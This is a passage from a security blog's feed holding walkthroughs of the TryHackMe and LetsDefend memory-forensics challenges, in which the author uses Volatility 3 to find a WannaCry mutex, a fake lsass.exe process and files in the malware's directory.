id=&#34;question-15-what-mutex-can-be-found-that-is-a-known-indicator-of-the-malware-in-question-in-case002&#34;&gt;Question 15: What mutex can be found that is a known indicator of the malware in question in Case 002?&#xA;&lt;/h3&gt;&lt;p&gt;This is an interesting question and is a new one for me! Let’s do a quick &lt;em&gt;Google&lt;/em&gt; refresher on a &lt;strong&gt;mutex&lt;/strong&gt; for context.&lt;/p&gt;&#xA;&lt;p&gt;Below is an excerpt from the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS Blog&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Programs use mutex (“mutual exclusion”) objects as a locking mechanism to serialize access to a resource on the system. Consider the following explanation by Microsoft: “For example, to prevent two threads from writing to shared memory at the same time, each thread waits for ownership of a mutex object before executing the code that accesses the memory. After writing to the shared memory, the thread releases the mutex object.”&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now, let’s check out the &lt;a class=&#34;link&#34; href=&#34;https://www.mandiant.com/resources/blog/wannacry-malware-profile&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mandiant&lt;/strong&gt;&lt;/a&gt; report again and see if any of the heavy lifting has been done for us already. If we check out the file artifacts listed in the report, we see a &lt;em&gt;mutex&lt;/em&gt; listed out.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;493dc64a4ab828361c3eab6f7bad1862_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1033px&#34; data-flex-grow=&#34;430&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/493dc64a4ab828361c3eab6f7bad1862_MD5.png&#34; width=&#34;310&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, so in theory this is information that should be captured in the memory image and we should be able to find a mutex used by the malware. Let’s check out the &lt;em&gt;Volatility&lt;/em&gt; help and see if we can find any plugins that could help us validate this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9ac4faed0eafbb583631dce7ac87bb3f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3198px&#34; data-flex-grow=&#34;1332&#34; height=&#34;49&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/9ac4faed0eafbb583631dce7ac87bb3f_MD5.png&#34; width=&#34;653&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;I’m sure there is a better way to utilize this plugin but in this case, let’s simply use the &lt;em&gt;Volatility 3&lt;/em&gt; &lt;strong&gt;windows.mutantscan&lt;/strong&gt; plugin to validate the presence of the &lt;em&gt;mutex&lt;/em&gt; in our analysis sample against the report:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5ffcbef15771cc2cc57a47ab7bef0500_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;8228px&#34; data-flex-grow=&#34;3428&#34; height=&#34;35&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/5ffcbef15771cc2cc57a47ab7bef0500_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/5ffcbef15771cc2cc57a47ab7bef0500_MD5_hu_a714e41d029ee4ef.png 800w, https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/5ffcbef15771cc2cc57a47ab7bef0500_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Great, we stumbled through this one! Let’s submit and confirm our suspicion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c023ad6bec8ac46a637fe8411cc5bd18_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3147px&#34; data-flex-grow=&#34;1311&#34; height=&#34;61&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/c023ad6bec8ac46a637fe8411cc5bd18_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-16-what-plugin-could-be-used-to-identify-all-files-loaded-from-the-malware-working-directory-in-case002&#34;&gt;Question 16: What plugin could be used to identify all files loaded from the malware working directory in Case 002?&#xA;&lt;/h3&gt;&lt;p&gt;For the last question, we will return for the last time to our &lt;em&gt;Volatility 3&lt;/em&gt; help file. Let’s see if there are any other plugins we can utilize for further analysis of the malware and search for the files loaded from the malware directory?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4ab8cbf7de87dea3dad32fc9b019f04f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3147px&#34; data-flex-grow=&#34;1311&#34; height=&#34;53&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/4ab8cbf7de87dea3dad32fc9b019f04f_MD5.png&#34; width=&#34;695&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This plugin could be useful for further analysis especially if we run it against the malware directory that we found in &lt;strong&gt;Question 10.&lt;/strong&gt; While not required for the challenge, let’s go ahead and run the command and grep the working directory:&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -f /Scenarios/Investigations/Investigation-2.raw windows.filescan | grep -i&#xA;&amp;ldquo;\ivecuqmanpnirkt615&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0dcf0f1b0bce618e48e7d2b953d2533f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/0dcf0f1b0bce618e48e7d2b953d2533f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wow! This gives us even more IOCs that we can use to validate our findings. For now, though — let’s submit the answer to &lt;strong&gt;Question 16&lt;/strong&gt; and wrap up these cases.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;df960d331c8467672155a07b8c6a7691_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3254px&#34; data-flex-grow=&#34;1355&#34; height=&#34;59&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/df960d331c8467672155a07b8c6a7691_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it — mission completed! Thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for the impressive room and challenge. This was a really great challenge to help me further explore &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Volatility 3&lt;/em&gt;&lt;/a&gt; and learn some new skills along the way and I hope that you learned something as well between the two cases. Personally, I especially appreciated the need to do external research and use some brain power on DFIR. Thank you for your time in checking out this (long) walkthrough and stumbling through the challenge with me. Stay curious!&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  —  Memory Analysis Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/</link>
            <pubDate>Sun, 18 Feb 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f03698814f4fdc7013661cdd7d18e06d_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  —  Memory Analysis Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--memory-analysis-challenge-walkthrough&#34;&gt;LetsDefend — Memory Analysis Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-investigation-with-volatility-3&#34;&gt;Endpoint Investigation with Volatility 3&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;299&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f03698814f4fdc7013661cdd7d18e06d_MD5.png&#34; width=&#34;398&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h4&gt;&lt;p&gt;Hello!&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s another week, another challenge. This time I&amp;rsquo;m continuing with my write-ups of the practice challenges over at &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;LetsDefend&lt;/a&gt; and will be tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memory-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Memory Analysis room&lt;/a&gt;. This room is rated medium difficulty and notes that we can use Volatility, a memory forensics tool to complete it. As always, I want to take the opportunity to give back to the community and do some write-ups as I go through the challenges to help anyone who stumbles across this post to level-up their analysis. I am new to using &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Volatility&lt;/a&gt; and excited to stumble through this challenge while getting some hands-on time with the tool. To keep this blog focused, I am not going to cover the setup for Volatility3 but I will point you to the readme over on their GitHub: &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3#volatility-3-the-volatile-memory-extraction-framework&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memory-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/memory-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A Windows Endpoint was recently compromised. Thanks to our cutting-edge EDR/IDS solution we immediately noticed it. The alert was escalated to Tier 2 (Incident Responders) for further investigation. As our Forensics guy, you were given the memory dump of the compromised host. You should continue to investigate.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;NOTE: You can use the &lt;a class=&#34;link&#34; href=&#34;https://www.volatilityfoundation.org/releases&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Volatility&lt;/a&gt; for analysis.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This challenge prepared by &lt;a class=&#34;link&#34; href=&#34;https://www.linkedin.com/in/abdullah-bin-yasin-4b418119a&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;0xCyberJunkie.sh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;question-1-what-was-the-date-and-time-when-memory-from-the-compromised-endpoint-was-acquired&#34;&gt;Question 1: What was the date and time when Memory from the compromised endpoint was acquired?&#xA;&lt;/h3&gt;&lt;p&gt;Since we&amp;rsquo;re going into this one blindly, let&amp;rsquo;s start to get more familiar with Volatility3 by taking a look at the quick start guide on the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3#quick-start&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;GitHub page&lt;/a&gt;. It looks like there is a command used to check out what help options we have available within the application. This will help us to tackle the challenge moving forward.&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -h&lt;/p&gt;&#xA;&lt;p&gt;Now, the scenario says we are analyzing a memory dump from a &lt;em&gt;Windows&lt;/em&gt; endpoint so let&amp;rsquo;s just scroll through the &lt;em&gt;Windows&lt;/em&gt; modules to see if there is anything that might help us to get some general information about the memory dump. After scrolling through the list, we stumble across this module:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8727px&#34; data-flex-grow=&#34;3636&#34; height=&#34;22&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/278f82c476ceb7be314720d7e8a5ae5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This plugin might be a good starting point for our investigation so that we can get some high-level details from the dump file and better understand our victim environment.&lt;/p&gt;&#xA;&lt;p&gt;For context, I had previously downloaded and extracted the challenge file to my &lt;em&gt;Kali Linux&lt;/em&gt; environment for analysis. When we run &lt;em&gt;Volatility&lt;/em&gt; we will point to the challenge file path with the -f parameter and have it use the &lt;strong&gt;windows.info&lt;/strong&gt; plugin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4877px&#34; data-flex-grow=&#34;2032&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/5e2d7e973dce56d6402037861505bb85_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;721px&#34; data-flex-grow=&#34;300&#34; height=&#34;266&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/a7fee780f636e55e7c3d77fedb18fe18_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running the command, we get the above output. I think the &lt;em&gt;SystemTime&lt;/em&gt; might answer the question — let&amp;rsquo;s confirm that we have the right answer:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1352px&#34; data-flex-grow=&#34;563&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/84f1ffeb5048e4ba6878f3a75cc9908f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-was-the-suspicious-process-running-on-the-system-format-nameextension&#34;&gt;Question 2: What was the suspicious process running on the system? (Format : name.extension)&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s leverage &lt;em&gt;Volatility&lt;/em&gt; to dig a bit deeper and understand the running processes at the time the memory dump was taken. If we refer to the help again we have several process options. We&amp;rsquo;ll try the &lt;strong&gt;pslist&lt;/strong&gt; module first to see if we can find anything suspicious. To make this a little easier to read, we&amp;rsquo;ll output this to a text file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2860px&#34; data-flex-grow=&#34;1192&#34; height=&#34;50&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/d655673457865687422c909164b69d3d_MD5.png&#34; width=&#34;596&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3515px&#34; data-flex-grow=&#34;1464&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/30f272fe617f7c0720676d095a40b2bd_MD5.png&#34; width=&#34;747&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we scroll through our evidence file, nothing initially sticks out as looking too suspicious. There are a few processes that I&amp;rsquo;m unfamiliar with but a quick &lt;em&gt;Google&lt;/em&gt; refresher confirms that everything appears legitimate. Maybe we need some more detail? Let&amp;rsquo;s pivot and try something else process related — the &lt;strong&gt;pstree&lt;/strong&gt; module could be interesting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2870px&#34; data-flex-grow=&#34;1195&#34; height=&#34;48&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/4b530443302fe76f4b500dd876cfdfdf_MD5.png&#34; width=&#34;574&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3444px&#34; data-flex-grow=&#34;1435&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/d352abc8ab977a88450d42706f6d3b82_MD5.png&#34; width=&#34;732&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After looking over the output a few times, I still don&amp;rsquo;t see anything obvious (like &lt;em&gt;evil.exe&lt;/em&gt; or something) sticking out. We are definitely missing something. Let&amp;rsquo;s brush up on normal &lt;em&gt;Windows&lt;/em&gt; processes behavior using the excellent &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS Hunt Evil&lt;/a&gt; reference graphic.&lt;/p&gt;&#xA;&lt;p&gt;After looking this over, I think I see something. Let&amp;rsquo;s revisit the &lt;strong&gt;pstree&lt;/strong&gt; output and dial-in on the &lt;em&gt;lsass.exe&lt;/em&gt; (PID 7592) processes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;721px&#34; data-flex-grow=&#34;300&#34; height=&#34;219&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/6fa9c23d55e6b7e5e59a23e593f17e1f_MD5.png&#34; width=&#34;658&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SANS Hunt Evil reference for lsass.exe&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s compare the artifacts from the victim system to the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS reference&lt;/a&gt;. Look closely at the below instance of &lt;em&gt;lsass.exe&lt;/em&gt; (PID 7592) from the &lt;strong&gt;pstree&lt;/strong&gt; output. There are a couple of red flags that we notice if we compare to the normal behavior documented above:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;489px&#34; data-flex-grow=&#34;204&#34; height=&#34;588&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e6a7cba4d1783042078663c40fc9d362_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e6a7cba4d1783042078663c40fc9d362_MD5_hu_b032468bd743976c.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e6a7cba4d1783042078663c40fc9d362_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first red flag is the parent process ID (PPID) of this &lt;em&gt;lsass.exe&lt;/em&gt; process. According to the SANS reference, this should be &lt;em&gt;wininit.exe&lt;/em&gt; (PID 500) but the parent process for this &lt;em&gt;lsass.exe&lt;/em&gt; is actually 3996 (&lt;em&gt;explorer.exe) —&lt;/em&gt; That seems suspicious and definitely requires some further investigation&amp;hellip;&lt;/li&gt;&#xA;&lt;li&gt;The second red flag is the image path of the executable. Take a close look and notice that the image path is %SystemRoot%*&lt;em&gt;System&lt;/em&gt;*\lsass.exe and NOT the expected path %SystemRoot%*&lt;em&gt;System32&lt;/em&gt;*\lsass.exe — this is a subtle evasion technique.&lt;/li&gt;&#xA;&lt;li&gt;Earlier, I mentioned &lt;em&gt;lsass.exe&lt;/em&gt; process&lt;strong&gt;es&lt;/strong&gt; — this is the third red flag, there are two instances of this process. This is something that should have tipped us off after running the &lt;strong&gt;pslist&lt;/strong&gt; command (whoops!) If we search for &lt;em&gt;lsass.exe&lt;/em&gt; and grep the output to the terminal we now see clearly that there are two different instances&amp;hellip;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3692px&#34; data-flex-grow=&#34;1538&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b437a71b764c9309e0aa22d4d4cce1ae_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b437a71b764c9309e0aa22d4d4cce1ae_MD5_hu_e809087e0c8d8412.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b437a71b764c9309e0aa22d4d4cce1ae_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are two!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;10285px&#34; data-flex-grow=&#34;4285&#34; height=&#34;28&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f21d5aae71d0d5f874ebfee0852c79b0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f21d5aae71d0d5f874ebfee0852c79b0_MD5_hu_f31878d6e4649f2a.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f21d5aae71d0d5f874ebfee0852c79b0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The suspicious lsass.exe&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;10666px&#34; data-flex-grow=&#34;4444&#34; height=&#34;27&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/c7b1931e08e3d62f62ce5cdd77b24be9_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/c7b1931e08e3d62f62ce5cdd77b24be9_MD5_hu_fbec87f4894a60c3.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/c7b1931e08e3d62f62ce5cdd77b24be9_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The legitimate lsass.exe&lt;/p&gt;&#xA;&lt;p&gt;After focusing the analysis and comparing the known process behavior for &lt;em&gt;lsass.exe&lt;/em&gt; (PID 7592)&lt;em&gt;,&lt;/em&gt; I think we can be pretty confident that we have identified the suspicious process. Let&amp;rsquo;s submit the answer and confirm.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1333px&#34; data-flex-grow=&#34;555&#34; height=&#34;144&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e6a7f3c938474a4978ee340af0b1d864_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-analyze-and-find-the-malicious-tool-running-on-the-system-by-the-attacker-format-nameextension&#34;&gt;Question 3: Analyze and find the malicious tool running on the system by the attacker (Format name.extension)&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have uncovered the suspicious process, we will need to perform further analysis on the tool. Let&amp;rsquo;s circle back to the &lt;em&gt;Volatility3&lt;/em&gt; help command. In addition to the general help file, &lt;em&gt;Volatility&lt;/em&gt; also offers help for the individual plugins options:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3388px&#34; data-flex-grow=&#34;1411&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/2968da446f9b0ebb582fdab1d8051f5c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/2968da446f9b0ebb582fdab1d8051f5c_MD5_hu_fd9456d3e4cf4742.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/2968da446f9b0ebb582fdab1d8051f5c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we know what process ID we want to analyze, maybe we can use &lt;strong&gt;pslist&lt;/strong&gt; again to dump the running process from the memory dump file? Let&amp;rsquo;s try the help command for that specific plugin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;943px&#34; data-flex-grow=&#34;393&#34; height=&#34;175&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/8ef51d1b15de513f327b899fae8f1ad8_MD5.png&#34; width=&#34;688&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! There is a dump option. Once we feed &lt;em&gt;Volatility&lt;/em&gt; the PID, we should get a file output to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2360px&#34; data-flex-grow=&#34;983&#34; height=&#34;122&#34; loading=&#34;lazy&#34; 